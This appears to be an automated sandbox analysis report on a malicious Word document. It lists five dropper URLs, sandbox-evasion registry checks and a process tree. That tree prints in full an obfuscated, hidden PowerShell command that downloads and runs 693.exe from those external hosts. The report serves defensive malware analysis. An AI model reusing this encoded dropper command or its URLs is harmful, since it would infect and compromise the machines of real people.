Analysis
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max time kernel
22s -
resource
win10v191014 -
submitted
12-12-2019 15:37
General
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Target
3319a17ec91c5eb4806bd631179ebc2f2bef86f5ee44534b95d753ae20185de3.doc
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Sample
191212-tyz6n9asfs
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SHA256
3319a17ec91c5eb4806bd631179ebc2f2bef86f5ee44534b95d753ae20185de3
Score
8/10
Malware Config
Extracted
Language
ps1
Source
URLs
exe.dropper
http://beekaygroup.com/wp-admin/9MmF/
exe.dropper
http://ddecoder.com/css/tct/
exe.dropper
http://ekolfotografcilik.com/administrator/dm3cou/
exe.dropper
http://fairfaxhost.com/Nets.eu/7Lzn9wt/
exe.dropper
http://int.spro3.fcomet.com/wp-admin/jv/
Signatures
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Enumerates system info in registry 2 TTPs 3 IoCs
description ioc Key opened \REGISTRY\MACHINE\Hardware\Description\System\BIOS Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU -
Suspicious behavior: AddClipboardFormatListener 1 IoCs
pid Process 4844 WINWORD.EXE -
Suspicious use of SetWindowsHookEx 2 IoCs
pid Process 4844 WINWORD.EXE 4576 693.exe -
Suspicious use of WriteProcessMemory 2 IoCs
description pid Process procid_target PID 1512 wrote to memory of 1920 1512 SppExtComObj.exe 76 PID 4440 wrote to memory of 4576 4440 Powershell.exe 80 -
Suspicious use of AdjustPrivilegeToken 1 IoCs
description pid Process Token: SeDebugPrivilege 4440 Powershell.exe -
Suspicious behavior: EnumeratesProcesses 1 IoCs
pid Process 4440 Powershell.exe -
Suspicious use of FindShellTrayWindow 1 IoCs
pid Process 4844 WINWORD.EXE -
Executes dropped EXE 1 IoCs
pid Process 4576 693.exe -
Checks system information in the registry 2 TTPs 2 IoCs
System information is often read in order to detect sandboxing environments.
description ioc Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\SystemInformation\SystemManufacturer Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\SystemInformation\SystemProductName -
Checks processor information in registry 2 TTPs 2 IoCs
Processor information is often read in order to detect sandboxing environments.
description ioc Key opened \REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0 Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz
Processes
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C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\3319a17ec91c5eb4806bd631179ebc2f2bef86f5ee44534b95d753ae20185de3.doc" /o ""1⤵
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Suspicious use of FindShellTrayWindow
PID:4844
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C:\Windows\system32\SppExtComObj.exeC:\Windows\system32\SppExtComObj.exe -Embedding1⤵
- Suspicious use of WriteProcessMemory
PID:1512 -
C:\Windows\System32\SLUI.exe"C:\Windows\System32\SLUI.exe" RuleId=eeba1977-569e-4571-b639-7623d8bfecc0;Action=AutoActivate;AppId=55c92734-d682-4d71-983e-d6ec3f16059f;SkuId=2de67392-b7a7-462a-b1ca-108dd189f588;NotificationInterval=1440;Trigger=TimerEvent2⤵PID:1920
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C:\Windows\System32\WindowsPowerShell\v1.0\Powershell.exePowershell -w hidden -en JABTAHQAcABwAHYAcQBwAHYAeAA9ACcATQBsAHgAcAB3AHYAcwBjAGMAZQByACcAOwAkAFMAeQB0AHEAZwBnAGEAbwB0AHQAYwByACAAPQAgACcANgA5ADMAJwA7ACQAQQBoAGMAcgB5AGIAYQBoAHkAagBlAHEAPQAnAFoAZAB4AGIAdwB5AHQAdQBkAHkAeAB4AGsAJwA7ACQAUwBlAHIAdABlAGIAeQBmAG4AdQA9ACQAZQBuAHYAOgB1AHMAZQByAHAAcgBvAGYAaQBsAGUAKwAnAFwAJwArACQAUwB5AHQAcQBnAGcAYQBvAHQAdABjAHIAKwAnAC4AZQB4AGUAJwA7ACQAQgBhAGIAbwB0AHUAaQBtAGQAeQA9ACcARQBtAG8AbABmAHgAcwBkAHkAaABxACcAOwAkAFYAZABwAGoAaABkAGkAZQA9ACYAKAAnAG4AZQB3AC0AJwArACcAbwBiACcAKwAnAGoAZQAnACsAJwBjAHQAJwApACAATgBFAFQALgB3AGUAQgBjAEwAaQBlAE4AVAA7ACQAQgB5AGgAZwBwAGEAagBnAHEAeQBvAD0AJwBoAHQAdABwADoALwAvAGIAZQBlAGsAYQB5AGcAcgBvAHUAcAAuAGMAbwBtAC8AdwBwAC0AYQBkAG0AaQBuAC8AOQBNAG0ARgAvACoAaAB0AHQAcAA6AC8ALwBkAGQAZQBjAG8AZABlAHIALgBjAG8AbQAvAGMAcwBzAC8AdABjAHQALwAqAGgAdAB0AHAAOgAvAC8AZQBrAG8AbABmAG8AdABvAGcAcgBhAGYAYwBpAGwAaQBrAC4AYwBvAG0ALwBhAGQAbQBpAG4AaQBzAHQAcgBhAHQAbwByAC8AZABtADMAYwBvAHUALwAqAGgAdAB0AHAAOgAvAC8AZgBhAGkAcgBmAGEAeABoAG8AcwB0AC4AYwBvAG0ALwBOAGUAdABzAC4AZQB1AC8ANwBMAHoAbgA5AHcAdAAvACoAaAB0AHQAcAA6AC8ALwBpAG4AdAAuAHMAcAByAG8AMwAuAGYAYwBvAG0AZQB0AC4AYwBvAG0ALwB3AHAALQBhAGQAbQBpAG4ALwBqAHYALwAnAC4AIgBzAFAATABgAEkAdAAiACgAJwAqACcAKQA7ACQAQgBnAGQAZQB1AGIAcgBrAD0AJwBJAGQAYwBmAGYAcQBxAHQAZABiAGgAbwBoACcAOwBmAG8AcgBlAGEAYwBoACgAJABOAHIAdgB4AHAAbAByAGIAZwBpACAAaQBuACAAJABCAHkAaABnAHAAYQBqAGcAcQB5AG8AKQB7AHQAcgB5AHsAJABWAGQAcABqAGgAZABpAGUALgAiAGQAbwB3AE4AbABgAE8AYABBAGQAZgBpAEwARQAiACgAJABOAHIAdgB4AHAAbAByAGIAZwBpACwAIAAkAFMAZQByAHQAZQBiAHkAZgBuAHUAKQA7ACQAUgBhAHIAbQBrAHQAagBnAG0AcgBvAD0AJwBKAHcAZABnAGcAbwBmAGgAZAByACcAOwBJAGYAIAAoACgALgAoACcARwBlAHQAJwArACcALQBJACcAKwAnAHQAZQBtACcAKQAgACQAUwBlAHIAdABlAGIAeQBmAG4AdQApAC4AIgBMAEUAYABOAEcAdABoACIAIAAtAGcAZQAgADMAMAAwADUAMQApACAAewBbAEQAaQBhAGcAbgBvAHMAdABpAGMAcwAuAFAAcgBvAGMAZQBzAHMAXQA6ADoAIgBzAFQAYQBgAFIAVAAiACgAJABTAGUAcgB0AGUAYgB5AGYAbgB1ACkAOwAkAE4AbgB0AHUAbQB5AG8AcQBkAD0AJwBZAG0AZAB5AHgAcABuAHIAbABoAGsAZwB5ACcAOwBiAHIAZQBhAGsAOwAkAFQAagBnAG4AaQBlAHoAYwBnAD0AJwBTAGUAcABxAHMAZgB2AGQAaAB1AGsAJwB9AH0AYwBhAHQAYwBoAHsAfQB9ACQATgBlAHYAYgBhAGMAZwB1AHMAZgA9ACcASwBwAHMAdgB6AGsAeABjAGsAJwA=1⤵
- Suspicious use of WriteProcessMemory
- Suspicious use of AdjustPrivilegeToken
- Suspicious behavior: EnumeratesProcesses
PID:4440 -
C:\Users\Admin\693.exe"C:\Users\Admin\693.exe"2⤵
- Suspicious use of SetWindowsHookEx
- Executes dropped EXE
PID:4576
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